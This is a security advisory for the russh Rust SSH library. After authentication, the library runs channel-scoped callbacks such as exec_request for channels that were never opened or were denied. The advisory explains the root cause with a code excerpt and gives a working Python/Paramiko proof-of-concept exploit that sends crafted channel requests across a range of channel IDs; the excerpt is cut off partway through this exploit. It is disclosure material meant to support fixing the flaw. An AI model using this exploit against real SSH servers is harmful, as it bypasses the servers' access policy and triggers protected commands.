GHSA-m65r-rprj-r5rg Russh: Channel-scoped server callbacks can be reached without an open channel

• crates.io russh: < 0.62.5 → fixed in 0.62.5

There is a server-side channel state issue in `russh`. After a client is authenticated, `russh` can dispatch channel-scoped handler callbacks for recipient channel IDs that were never opened or confirmed. In the strongest reproduced case, the client does not send `SSH_MSG_CHANNEL_OPEN` at all. It authenticates normally, then sends `SSH_MSG_CHANNEL_REQUEST` packets with request type `exec` for a range of recipient channel IDs. `russh` still calls the server application's `exec_request` handler. This is not an authentication bypass. A valid login is required. The issue is that the SSH channel lifecycle is not enforced before channel-scoped callbacks are delivered to the application. Impact An authenticated client can bypass the server application's channel-open policy. A server may deny session channels by returning `false` from `Handler::channel_open_session`. A server may also assume that callbacks such as `exec_request`, `shell_request`, `subsystem_request`, `data`, `channel_eof`, or `channel_close` are only delivered for channels that were opened and confirmed by the SSH transport layer. That assumption does not hold in the vulnerable path. A malicious authenticated peer can send channel-scoped messages for arbitrary recipient channel IDs and cause handler callbacks to run even though no channel exists. The exact impact depends on the downstream application. For many SSH server use cases, `exec_request`, `shell_request`, or `subsystem_request` start commands, jobs, shells, SFTP-like subsystems, internal workflows, or other state-changing operations. In the PoC, the protected `exec_request` action runs even though no channel was opened. Why this is not intended behavior SSH channel requests are not global post-authentication requests. They are operations on an existing channel. RFC 4254 describes channel-specific messages as carrying a recipient channel number. The `exec` request is a `SSH_MSG_CHANNEL_REQUEST` for a session channel. That means the recipient channel should refer to a channel that exists in the local open-channel state. The relevant boundary is therefore not password authentication. The boundary is the channel-open decision. If no channel has been opened, or if the application denied the open request, `russh` should not deliver session-specific callbacks for that recipient ID. This is also not just a handler bug. The handler does not own the transport channel table. `russh` does. The application gets a `channel_open_*` callback and returns whether the channel is allowed. If that decision is denied, or if the client never requested a channel at all, channel-scoped callbacks should not be reachable. Documentation and API boundary The public API documentation supports this boundary. `channel_open_session` is the application hook for creating a new session channel, and its boolean return value is the application's decision on whether that channel open should be granted. Separately, `exec_request` is the application hook for deciding what to do with a command request received on a channel. Those are different responsibilities. The application can decide whether a command is allowed. The library must first decide whether the recipient channel exists and was actually opened. Delivering `exec_request` for a recipient `ChannelId` that is absent from the established channel table bypasses the channel-open decision before the application can safely rely on it. Root cause In `server_read_authenticated` in `russh/src/server/encrypted.rs`, channel-scoped messages are decoded and then dispatched to handler callbacks without a mandatory check that the recipient channel is established in the encrypted session's channel table. The problematic pattern is visible in the `CHANNEL_REQUEST` handling. The code reads the recipient channel ID and request fields. It may look up the channel to send an internal `ChannelMsg` into the stream API, but the handler callback is outside that guard. For example, the `exec` branch has this shape: ```rust "exec" => { let req = map_err!(Bytes::decode(r))?; map_err!(ensure_end(r))?; if let Some(chan) = self.channels.get(&channel_num) { let _ = chan .send(ChannelMsg::Exec { want_reply: true, command: req.to_vec(), }) .await; } handler.exec_request(channel_num, &req, self).await } ``` If `channel_num` is not open, the internal send is skipped, but `handler.exec_request(...)` is still called. The same issue applies to other channel-scoped callbacks such as `shell_request`, `subsystem_request`, `env_request`, `pty_request`, `data`, `extended_data`, `channel_eof`, and `channel_close`. There is a second related problem in `server_handle_channel_open`. The application-side channel reference can be inserted into `self.channels` even when the handler returns `Ok(false)`. The protocol table `enc.channels` is only populated when the open is actually allowed. This means the two maps can diverge after a denied open. The authoritative source for whether a channel is established should be `enc.channels`, not `self.channels`. Evidence from the PoC The PoC uses a real `russh` server over localhost TCP. It uses real authentication with username `alice` and password `correct`. Paramiko is used only as an authenticated SSH peer that can send crafted packets over the real encrypted SSH transport. POC Code : ```python import argparse import sys import time import paramiko from paramiko.common import MSG_CHANNEL_REQUEST, cMSG_CHANNEL_REQUEST from paramiko.message import Message from paramiko.ssh_exception import ChannelException CHANNEL_SCAN_END = 32 def connect(port: int) -> paramiko.Transport: transport = paramiko.Transport(("127.0.0.1", port)) transport.connect(username="alice", password="correct") return transport def normal_allowed(port: int) -> None: transport = connect(port) print("normal client: CHANNEL_OPEN session") channel = transport.open_session(timeout=5) print("normal client: session open confirmed") print('normal client: exec "protected"') channel.exec_command("protected") time.sleep(0.25) channel.close() transport.close() def normal_denied(port: int) -> None: transport = connect(port) print("normal client: CHANNEL_OPEN session") try: transport.open_session(timeout=5) except ChannelException: print("normal client: session open denied") pass else: raise RuntimeError("normal denied control unexpectedly opened a session channel") time.sleep(0.25) transport.close() def send_exec_request(transport: paramiko.Transport, recipient_channel: int) -> None: print( "crafted packet: " f"SSH_MSG_CHANNEL_REQUEST({MSG_CHANNEL_REQUEST}) " f"recipient_channel={recipient_channel} " 'request_type="exec" ' 'command="protected"' ) msg = Message() msg.add_byte(cMSG_CHANNEL_REQUEST) msg.add_int(recipient_channel) msg.add_string("exec") msg.add_boolean(True) msg.add_string(b"protected") transport._send_user_message(msg) def exploit_denied(port: int) -> None: transport = connect(port) print("malicious peer: CHANNEL_OPEN session") try: transport.open_session(timeout=5) except ChannelException: print("malicious peer: session open denied") else: raise RuntimeError("exploit setup unexpectedly opened a session channel") print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}") for channel_id in range(CHANNEL_SCAN_END): send_exec_request(transport, channel_id) time.sleep(0.01) time.sleep(0.5) transport.close() def exploit_without_open(port: int) -> None: transport = connect(port) print("malicious peer: no CHANNEL_OPEN sent") print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}") for channel_id in ra…